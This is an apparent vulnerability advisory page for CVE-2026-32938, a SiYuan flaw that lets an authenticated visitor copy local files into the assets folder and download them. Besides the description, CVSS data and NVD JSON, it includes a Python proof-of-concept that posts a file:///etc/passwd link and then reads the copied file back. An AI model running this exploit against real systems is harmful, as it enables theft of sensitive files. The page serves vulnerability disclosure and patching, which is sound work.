Security Vulnerability Report
中文
CVE-2026-32938 CVSS 9.9 CRITICAL

CVE-2026-32938

Published: 2026-03-20 04:16:49
Last Modified: 2026-03-23 18:21:09

Description

SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the /api/lute/html2BlockDOM on the desktop copies local files pointed to by file:// links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with GET /assets/*path, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files. This issue has been fixed in version 3.6.1.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:* - VULNERABLE
SiYuan <= 3.6.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://localhost:6806" sensitive_file_path = "file:///etc/passwd" # Path to the sensitive file session_cookie = "session_cookie_here" # Valid session cookie def exploit(): headers = { "Cookie": session_cookie, "Content-Type": "application/json" } # Craft payload with file:// link # This triggers the copy of the local file to the assets directory payload = { "dom": f'<img src="{sensitive_file_path}">' } api_endpoint = f"{target_url}/api/lute/html2BlockDOM" print(f"[*] Sending malicious HTML to {api_endpoint}...") try: # Step 1: Trigger the vulnerability r1 = requests.post(api_endpoint, json=payload, headers=headers) if r1.status_code == 200: print("[+] Server processed the HTML, file might be copied.") # Step 2: Attempt to retrieve the file # Note: The exact filename in assets depends on implementation logic. # Assuming the filename 'passwd' is preserved or known. filename = sensitive_file_path.split("/")[-1] asset_url = f"{target_url}/assets/{filename}" print(f"[*] Attempting to fetch file from {asset_url}...") r2 = requests.get(asset_url, headers=headers) if r2.status_code == 200: print("[+] Exploit successful! File content:") print(r2.text) else: print(f"[-] Failed to retrieve file. Status: {r2.status_code}") else: print(f"[-] Failed to trigger payload. Status: {r1.status_code}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32938", "sourceIdentifier": "[email protected]", "published": "2026-03-20T04:16:48.950", "lastModified": "2026-03-23T18:21:08.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the /api/lute/html2BlockDOM on the desktop copies local files pointed to by file:// links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with GET /assets/*path, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files. This issue has been fixed in version 3.6.1."}, {"lang": "es", "value": "SiYuan es un sistema de gestión de conocimiento personal. En las versiones 3.6.0 e inferiores, la API /api/lute/html2BlockDOM en el escritorio copia archivos locales a los que apuntan los enlaces file:// en HTML pegado al directorio de activos del espacio de trabajo sin validar las rutas contra una lista de rutas sensibles. Junto con GET /assets/*path, que solo requiere autenticación, un visitante del servicio de publicación puede hacer que el kernel del escritorio copie cualquier archivo sensible legible y luego lo lea a través de GET, lo que lleva a la exfiltración de archivos sensibles. Este problema ha sido solucionado en la versión 3.6.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.6.1", "matchCriteriaId": "E1AA6470-222A-4841-A487-DF65F9859780"}]}]}], "references": [{"url": "https://github.com/siyuan-note/siyuan/commit/294b8b429dea152cd1df522cddf406054c1619ad", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fq2j-j8hc-8vw8", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}